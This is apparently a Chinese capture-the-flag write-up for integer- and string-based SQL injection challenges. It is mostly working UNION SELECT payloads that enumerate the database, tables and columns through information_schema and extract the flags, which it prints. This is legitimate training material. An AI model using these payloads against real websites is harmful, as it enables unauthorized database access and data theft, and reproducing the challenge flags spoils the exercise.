整數型注入
1.檢查是否存在注入
and 1=1 返回正確
and 1=2 返回錯誤
2.猜出字段數
order by x(數字)
得出字段數
3.然后就是爆數據庫名,information_schema三步
?id=1 and 1=2 union select 1,database()
得到數據庫名稱sqli
4.爆表名
?id=1 and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
得到表名 news,flag
5.爆字段名
?id=1 and 1=2 union select 1,group_concat(column_name) frominformation_schema.columns where table_name='flag'
得到字段名flag
6.爆flag
字段名 數據庫.表名
?id=1 and 1=2 union select 1,group_concat(flag) from sqli.flag
得到flag{hdjaldanklfk2r3rb23ry34gf82huh2u9f}
字符型注入
字符型注入要考慮到 引號閉合 和 注釋
1.判斷注入
Mysql 有三種常用注釋符:
-- 注意,這種注釋符后邊有一個空格 一般用+代替空格
# 通過#進行注釋
/* */ 注釋掉符號內的內容
?id=1' and 1=1 --+ 返回正確
?id=1' and 1=2 --+ 返回錯誤
2.猜出字段數
?id=1' order by 2 --+ 返回正確
?id=1' order by 3 --+ 返回錯誤
得出字段數為 2
下面為測試空格字符代替情況 (可跳過)
?id=1' order by 2 -- - 返回正確
?id=1' order by 2 -- / 返回正確
3.然后就是爆數據庫名,information_schema三步
?id=1' and 1=2 union select 1,database()--+
得到數據庫sqli
4.爆表名
?id=1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'--+
得到兩個表名 news,flag
5.爆字段名(列名)
?id=1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'--+
得到列名flag
6.爆flag
?id=1' and 1=2 union select 1,group_concat(flag) from sqli.flag--+
得到flag: ctfhub{1cb5c0880793e0e3c08bbe50c317902b4007e351}